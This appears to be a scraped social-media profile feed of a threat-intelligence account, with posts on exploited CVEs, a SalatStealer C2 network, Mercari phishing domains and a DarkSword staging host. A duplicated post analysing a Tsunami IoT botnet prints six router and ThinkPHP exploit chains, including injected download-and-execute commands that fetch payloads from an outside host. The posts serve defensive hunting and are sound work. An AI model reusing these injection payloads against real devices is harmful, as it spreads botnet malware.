Threat intelligence from real-world attacks: exploited-CVE maps, malicious IP reputation, login-fraud detection & code security. https://xitter.cf/t.co/e1MdLOoSeN
London
Joined September 2026
- Tweets149
- Following1
- Followers76
- Likes63
🚨 #PHP2Shell (CVE-2026-109618, CVE-2026-109619): our decoys caught probes 5h18m BEFORE PHP's 14:00 UTC patch on 21 Oct.
~30h after it, 77.90.185[.]20 was sending working payloads that drop a RedTail cryptominer from 217.60.102[.]5, posing as Chrome.
huntback.io/blog/php2shell-p…
Great analysis from @TheM3gatr0n ! Have a read.
IoT botnets are a plague and can do a lot of damage, this analysis allows us to understand more about the architecture and deployment of these.
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Huntback.io retweeted
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Searching for the Nuclear Control Room
What an exposed Windows intrusion workbench reveals about SCADA, PLC and critical-infrastructure discovery.
huntback.io/blog/searching-f…
#threatintel #SCADA #iot #CyberSecurity
Very cool write up from @J4ck3LSyN !
Write-up on a malware found by @JustWantToQ1 & @Huntbackio I ran RE on earlier today, including samples, analysis, decomp, c2-replay & IoC's....
> jackalsyn.com/posts/malAnaly…
#CyberSecurity #infosec
@malwrhunterteam @scanmalware
WEB_RAT is still alive.
A 990-byte "config.json" on 176.12.71[.]122 turned out to be a SalatStealer panel bootstrap. Live TLS certs tie it to the stealer's rotating C2: wruser[.]org, salator[.]es, websalat[.]top. 🧵⬇️
#ThreatIntel #SalatStealer #Infostealer
When those domains die, newer builds read a replacement C2 IP from a TON blockchain record (webratpanel[.]ton). Seize one server and the bots find the next.
Which TBH, is super cool!
Full map, IOCs and hunting guidance
huntback.io/blog/webrat-sala…
#CTI #Malware #DFIR
🚨 Fresh Huntback discovery: a rotating Mercari impersonation cluster hosted on:
IP: 47[.]74[.]50[.]121
ASN: AS45102 — Alibaba US Technology Co., Ltd.
Huntback captured at least 14 randomly named .cn domains serving near-identical Japanese-language Mercari clones. The pages reproduce Mercari’s branding and interface while loading assets from the legitimate Mercari CDN, helping the fraudulent sites appear convincing.
Newest capture:
• gvagsb[.]cn
• Captured: 2026-10-17 00:27 UTC
• SHA-256: e97f83c149f628222499598205c3b1e6f08eedf7c00aaba8ce4e91872959c2fc
• Approximate page size: 552 KB
Associated domains observed on the same infrastructure:
romcu[.]cn
cmfbi[.]cn
sxgfy[.]cn
mqpml[.]cn
johmy[.]cn
hoexq[.]cn
ymlrr[.]cn
mhtqk[.]cn
mrssfq[.]cn
rqszsx[.]cn
xtmafe[.]cn
jlysss[.]cn
jbivjg[.]cn
Shared infrastructure and near-identical page contents strongly indicate a rotating phishing deployment designed to replace domains as they are detected or blocked.
The pages reference legitimate content from:
web-jp-assets-v2[.]mercdn[.]net
it appears the operators are remotely loading genuine assets to make the cloned pages look authentic.
The Japanese Anti-Phishing Council has previously warned that Mercari phishing campaigns use cloned websites and .cn domains.
Huntback’s latest captures show that this tradecraft remains active.
Block and investigate:
47[.]74[.]50[.]121
#Huntback #ThreatIntel #Phishing #Mercari #CyberSecurity #OSINT #IOC #BrandProtection #Fraud #DFIR #SOC #CTI
Great work by @_AkatsukiLegion, @TIE__SUN and @curious_drac0 tearing apart this NetScaler pipeline (CVE-2026-88771/72), from a single console all the way to a 7-stage DDoS botnet drop.
Love seeing huntback telemetry in the hands of people who actually chase it down. 🔍
Akatsuki Legion exposed a pipeline targeting #Citrix #NetScaler via CVE-2026-88771/72. By intercepting a console at 66.154.127[.]156, researchers found a 7-stage machine dropping a DDoS botnet. Respect to @Huntio for backing up the data and @Huntbackio for rich telemetry.
🔗👇
Last week Censys mapped the DarkSword iOS-exploit delivery infrastructure.
We went back to one staging host that was still open. It had grown into a 484-artifact offensive workbench: a second operation sitting right next to the iOS delivery kit.
Here’s what was on it 🧵
Full analysis, methodology and complete IOCs: huntback.io/blog/darksword-c…
A week after Censys mapped the DarkSword/Coruna iOS-exploit delivery infrastructure, we went back to one of the staging hosts (47.102.192[.]23). Still open, and it had grown.
The interesting part wasn’t the Coruna staging Censys already documented, it’s what sat next to it: a full enterprise post-compromise kit. SQL Server and MySQL looting, Jenkins and GitLab credential theft, SSH pivoting, lateral movement. Plus two dozen ELF/PE malware binaries, webshells, and a 187KB AI-pentest prompt corpus.
Loads of files across 4 open ports. And the Coruna delivery config? Byte-identical hash, reappeared on fresh IPs the week after Censys published.
Full breakdown + IOCs 👇
huntback.io/blog/darksword-c…
#ThreatIntel #CTI #DarkSword #Coruna #DFIR
